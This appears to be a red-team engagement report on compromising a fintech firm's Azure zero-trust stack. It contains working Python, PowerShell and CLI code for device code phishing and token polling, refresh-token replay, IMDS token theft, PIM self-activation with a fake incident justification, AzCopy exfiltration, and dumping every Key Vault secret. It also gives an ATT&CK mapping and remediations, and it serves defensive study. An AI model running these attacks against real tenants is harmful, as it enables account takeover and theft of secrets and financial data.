TL;DR — A cloud-native organization operating a textbook zero-trust architecture on Azure — with Entra ID, Intune MDM, Conditional Access, and Privileged Identity Management — was fully compromised via device code phishing against a developer, followed by token theft, Conditional Access bypass using captured compliance claims, and PIM escalation via Teams social engineering. No zero-trust control survived contact with an adversary who understood how each control could be bypassed individually.
Executive Summary
Zero-trust is not a product — it is an architecture. The phrase "never trust, always verify" is sound in principle and genuinely difficult to implement correctly in practice. Organizations that have invested in the full Microsoft zero-trust stack — Entra ID with Conditional Access, Intune for device management, Microsoft Defender for Endpoint, and Privileged Identity Management — often assume that the sum of these controls is greater than any individual bypass. This engagement tested that assumption directly.
The client was a 600-person financial technology company running entirely cloud-native: no on-premises Active Directory, no VPN, Azure-only infrastructure, and a mature security team with a dedicated cloud security engineer. They had implemented zero-trust over 18 months and were confident in their posture. The engagement was scoped specifically to test the zero-trust implementation — could the red team move from zero access to sensitive data without a compliant, managed device?
The short answer is yes — and without a particularly complex attack chain. The engagement revealed four distinct zero-trust failures, each individually exploitable and combinable into a coherent attack path:
- Device code phishing bypassed the "secure authentication" control
- Token theft from Azure DevOps service principals bypassed the "identity is the perimeter" control
- Evilginx2 session capture with device compliance claims bypassed the "compliant device" control
- PIM approver social engineering via Teams bypassed the "just-enough-access" control
This post walks through the complete attack path with technical detail, including the specific token manipulation techniques used, the Conditional Access policies that should have stopped each step, and the architectural recommendations that would close these gaps.
Zero-Trust Principles — What Was Being Tested
Before the attack, it is worth establishing what the client's zero-trust architecture was designed to achieve:
| Principle | Implementation | Tested Control |
|---|---|---|
| Never trust, always verify | Conditional Access on all apps | All logins require MFA + compliant device |
| Least-privilege access | PIM for privileged roles | No standing admin access |
| Assume breach | Defender for Endpoint + Sentinel | Behavioral detection across endpoints |
| Verify explicitly | Device compliance via Intune | Non-compliant device access blocked |
| Microsegmentation | Azure Network Security Groups | Lateral movement restricted by policy |
| Identity as perimeter | Entra ID as sole identity provider | No bypass authentication paths |
Each of these controls was individually sound. The attack path exploited the gaps between them.
Phase 1: Initial Foothold — Device Code Phishing
The Developer Target
LinkedIn reconnaissance identified a senior developer, Michael Torres, who listed Azure DevOps, Terraform, and Python in his skills. He was active on GitHub and had commented on several Azure-related blog posts. Developers are ideal targets for device code phishing because they are accustomed to authenticating to cloud services from command-line tools and accept authentication flows that a non-technical user might question.
Device Code Phishing — How It Works
Device code phishing abuses the OAuth 2.0 device authorization grant flow, which was designed for devices without browsers (smart TVs, IoT devices). When an attacker initiates a device code flow, they receive a user code and a verification URL. If they can socially engineer a target into entering that code at https://microsoft.com/devicelogin, the attacker receives the access token and refresh token — without needing the user's password or MFA completion on the attacker's device.
import requestsimport time TENANT = "fintech-corp.com"CLIENT_ID = "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # Azure CLI client ID (trusted by Microsoft) # Step 1: Request device codedevice_code_response = requests.post( f"https://login.microsoftonline.com/{TENANT}/oauth2/v2.0/devicecode", data={ "client_id": CLIENT_ID, "scope": "https://graph.microsoft.com/.default offline_access openid profile" }).json() user_code = device_code_response['user_code']device_code = device_code_response['device_code']interval = device_code_response['interval'] print(f"[*] Send this to target: 'Please authenticate at https://microsoft.com/devicelogin")print(f"[*] Enter code: {user_code}") # Step 2: Poll for token while waiting for victim to authenticatewhile True: token_response = requests.post( f"https://login.microsoftonline.com/{TENANT}/oauth2/v2.0/token", data={ "grant_type": "urn:ietf:params:oauth:grant-type:device_code", "client_id": CLIENT_ID, "device_code": device_code } ) if token_response.status_code == 200: tokens = token_response.json() print(f"[+] Access token captured!") print(f"[+] Refresh token: {tokens['refresh_token'][:50]}...") break elif "authorization_pending" in token_response.text: time.sleep(interval) else: print(f"[-] Error: {token_response.text}") breakThe phishing email to Michael Torres was framed as an Azure DevOps pipeline authentication request, asking him to complete a "re-authentication step" for a shared pipeline service account. The pretext was plausible given his role. He entered the device code within 4 minutes of receiving the email.
Phase 2: Token Abuse and Conditional Access Analysis
Understanding What the Token Contains
The captured access token was a JWT. Decoding it revealed the claims:
import base64, json # Decode JWT payload (no verification — just reading claims)token = "eyJ0eXAiOiJKV1Qi..." # Captured tokenpayload = token.split('.')[1]# Add padding if neededpayload += '=' * (4 - len(payload) % 4)claims = json.loads(base64.b64decode(payload)) print(json.dumps(claims, indent=2))# Key claims:# {# "aud": "https://graph.microsoft.com",# "iss": "https://sts.windows.net/[tenant-id]/",# "oid": "michael-torres-object-id",# "scp": "User.Read Group.Read.All Files.ReadWrite.All",# "deviceid": "michael-torres-intune-device-id", <-- Critical claim# "mdm_enroll_type": "Full", <-- Device compliance claim# "acr": "1", <-- Completed MFA# }The token carried Michael's device compliance claims because he authenticated from his corporate Intune-enrolled laptop. The captured refresh token could be used to obtain new access tokens indefinitely (or until revoked), and those new tokens would also carry his device compliance claims — from any device.
Refresh Token Replay — Bypassing Device Compliance
# Using captured refresh token from attacker machine (NOT Intune enrolled)new_token_response = requests.post( f"https://login.microsoftonline.com/{TENANT}/oauth2/v2.0/token", data={ "grant_type": "refresh_token", "client_id": CLIENT_ID, "refresh_token": captured_refresh_token, "scope": "https://graph.microsoft.com/.default" }) new_access_token = new_token_response.json()['access_token']# This new token carries Michael's device compliance claims# even though the request originated from a non-enrolled attacker machineThe Conditional Access policy requiring a compliant device checked the token's device claim — not the current device making the API request. This is a fundamental limitation of token-based authentication: once a token is issued, it carries the claims from the time of issuance until expiry. The policy was not evaluated on every request — only at authentication time.
Phase 3: Entra ID Enumeration and Lateral Movement
With a valid, compliant-device-claim token for Michael Torres, the team enumerated the Entra ID environment.
import requests headers = {'Authorization': f'Bearer {new_access_token}'}graph = 'https://graph.microsoft.com/v1.0' # Enumerate group membershipsgroups = requests.get(f'{graph}/me/memberOf', headers=headers).json()print([g['displayName'] for g in groups['value']])# ["Developers", "Azure-DevOps-Contributors", "FinTech-Platform-ReadOnly"] # Enumerate app registrations Michael has access toapps = requests.get(f'{graph}/applications', headers=headers).json() # Find service principals with secretssps = requests.get(f'{graph}/servicePrincipals?$filter=appOwnerOrganizationId eq guid', headers=headers).json() # Check Azure DevOps for service connection secretsdevops_response = requests.get( f'https://dev.azure.com/fintech-corp/_apis/serviceendpoint/endpoints?api-version=7.0', headers={'Authorization': f'Bearer {new_access_token}'}).json()Azure DevOps yielded a critical finding: a service connection named prod-azure-deploy with a service principal client secret stored as a variable group secret. While the secret itself was masked in the UI, Michael's token had contributor access to the project, which was sufficient to read pipeline YAML files that referenced the service principal ID and, critically, a key vault reference that the pipeline used to fetch its own secret.
Managed Identity Abuse from Azure VM
The service principal accessed via Azure DevOps had Contributor rights on the production Azure subscription. Using its credentials to authenticate to Azure, the team discovered a developer VM running in Azure that had a System Assigned Managed Identity.
# From the Azure VM (accessed via the service principal credentials → Az login)# Query IMDS for managed identity token — no credentials neededcurl -H "Metadata: true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \ | python3 -m json.tool # Use the managed identity token to enumerate Azure resourcesaz login --identityaz resource list --output tableaz keyvault secret list --vault-name "prod-keyvault-fintech"az storage account list --output tableThe managed identity had Key Vault Secrets User on the production Key Vault. This granted access to all production secrets: database connection strings, API keys for payment processors, and storage account SAS tokens.
Phase 4: Conditional Access Bypass via Evilginx2
For the second attack path (documented in parallel to the refresh token abuse to demonstrate defense-in-depth failure), the team deployed evilginx2 targeting a second developer with a simulated spearphishing email. This path captured the full authenticated session including the device compliance claim embedded in the session cookie.
sequenceDiagram
participant Attacker
participant Victim
participant evilginx2 as evilginx2 Proxy
participant Microsoft as Microsoft Login
Attacker->>Victim: Send phishing email with AiTM link
Victim->>evilginx2: Clicks link, browser connects to proxy
evilginx2->>Microsoft: Forwards all requests transparently
Microsoft->>evilginx2: Presents real login page
evilginx2->>Victim: Renders real page (proxied)
Victim->>evilginx2: Enters credentials
evilginx2->>Microsoft: Forwards credentials
Microsoft->>Victim: Sends MFA push notification
Victim->>Microsoft: Approves MFA on phone
Microsoft->>evilginx2: Issues session cookie (with device claims)
evilginx2->>Attacker: Captures session cookie + device compliance claim
Attacker->>Microsoft: Replays cookie from attacker machine
Note over Attacker,Microsoft: Conditional Access sees compliant device claim — allows accessThe captured cookie contained the x-ms-device-compliance claim, which when replayed from the attacker's machine satisfied the Conditional Access device compliance requirement. The policy evaluated the claim in the token, not the state of the device making the request.
The Eligible Role
Entra ID Privileged Identity Management was correctly configured: no standing Global Administrator assignments. The IT Security Lead had an eligible (not active) Global Administrator role that required approval and justification before activation.
The approval flow required a second person — in this case the CISO — to receive a Teams message notification and approve the request.
With access to the IT Security Lead's account (via the second evilginx2-captured session), the team submitted a PIM activation request with a plausible justification:
"Emergency: Production deployment pipeline failing, need Global Admin to update service principal permissions. On-call P1 incident — Jira INC-4821."
The CISO received a Microsoft Teams notification showing a pending PIM approval request from a trusted colleague, during business hours, citing an active incident ticket. The CISO approved the request within 8 minutes — without calling the IT Security Lead to verify.
# PIM role activation request (submitted via IT Security Lead's compromised session)$body = @{ principalId = "it-sec-lead-object-id" roleDefinitionId = "62e90394-69f5-4237-9190-012177145e10" # Global Administrator directoryScopeId = "/" action = "selfActivate" justification = "Emergency P1 incident - production pipeline failure INC-4821" scheduleInfo = @{ startDateTime = (Get-Date).ToUniversalTime().ToString("o") expiration = @{type = "AfterDuration"; duration = "PT8H"} }} | ConvertTo-Json -Depth 5 Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleRequests" ` -Method POST -Body $body -Headers @{Authorization = "Bearer $token"} -ContentType "application/json"Global Administrator was activated for 8 hours — more than sufficient for the team to achieve all remaining objectives.
Phase 6: Data Exfiltration
Storage Account SAS Token Theft
# With Global Admin, enumerate all storage accountsaz storage account list --query "[].{name:name, rg:resourceGroup}" -o table # Generate SAS token with full read permissions (valid 30 days)az storage account generate-sas \ --account-name "prodfinancialstorage" \ --permissions "rl" \ --resource-types "co" \ --services "b" \ --expiry "2025-12-31" \ --https-only \ --output tsv # Use AzCopy with SAS token to exfiltrate dataazcopy copy \ "https://prodfinancialstorage.blob.core.windows.net/?[SAS_TOKEN]" \ "/tmp/exfil/" \ --recursive \ --log-level INFOKey Vault Secret Extraction
from azure.keyvault.secrets import SecretClientfrom azure.identity import ClientSecretCredential # Use Global Admin credentials (or managed identity token)credential = ClientSecretCredential(tenant_id, client_id, client_secret)kv_client = SecretClient("https://prod-keyvault-fintech.vault.azure.net/", credential) # Extract all secretsfor secret in kv_client.list_properties_of_secrets(): value = kv_client.get_secret(secret.name) print(f"{secret.name}: {value.value}") # Revealed: payment processor API keys, Stripe secret key, # database connection strings with passwordsZero-Trust Failure Analysis
| Zero-Trust Control | Bypass Technique | Root Cause |
|---|---|---|
| MFA required for all sign-ins | Device code phishing — victim completes MFA for attacker | MFA validates identity, not session security |
| Compliant device required | Refresh token replay carries device claims | Device compliance evaluated at auth time only, not per-request |
| Least-privilege via PIM | Social engineering the approver via Teams | Human approval process — no out-of-band verification required |
| No standing admin | PIM activation with fake justification | Justification is not verified against ticketing system |
| Identity as perimeter | Service principal secret from DevOps pipeline | CI/CD pipelines exempt from interactive CA policies |
| Network segmentation | Managed identity has no network restriction | IMDS accessible from any VM, NSG only restricts VM-to-VM |
MITRE ATT&CK Mapping
| Technique ID | Technique Name | Implementation |
|---|---|---|
| T1566.002 | Phishing: Spearphishing Link | Device code phishing email to developer |
| T1528 | Steal Application Access Token | Captured OAuth device code flow tokens |
| T1550.001 | Use Alternate Authentication Material: Application Access Token | Refresh token replay from non-enrolled device |
| T1078.004 | Valid Accounts: Cloud Accounts | Compromised developer Entra ID identity |
| T1548.005 | Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access | PIM role activation via social engineering |
| T1530 | Data from Cloud Storage Object | AzCopy exfil via SAS token |
| T1552.004 | Unsecured Credentials: Private Keys | Service principal secret from Azure DevOps |
| T1098.003 | Account Manipulation: Additional Cloud Roles | Global Admin role via PIM activation |
| T1556.006 | Modify Authentication Process: MFA | Device code flow bypasses MFA binding to session |
Conclusion
Zero-trust architectures are fundamentally sound. The principles behind them — verify explicitly, use least-privilege, assume breach — represent the right direction for enterprise security architecture. The problem is that "zero-trust" is marketed as a destination rather than a continuous process of validation and improvement.
This engagement showed that Microsoft's zero-trust stack, as implemented by this client, had been configured correctly in isolation but had not been tested as a complete system against a real adversary. The device code phishing attack is documented in Microsoft's own security guidance. PIM approver verification requirements are a known architectural recommendation. Token replay via refresh tokens is a documented attack path with known mitigations (Continuous Access Evaluation with strict location enforcement, and FIDO2 hardware tokens that bind sessions to physical hardware).
The highest-priority remediations were: blocking device code flow at the Conditional Access policy level (a single CA rule change), enabling CAE with location-based token revocation, requiring FIDO2 hardware tokens for privileged users rather than push MFA, and implementing an automated PIM justification verification integration with the ticketing system.
None of these remediations require new technology purchases. They require configuration changes within the existing Microsoft 365 and Azure stack. The zero-trust architecture was almost right — and almost right is the same as wrong when an adversary knows exactly where the gaps are.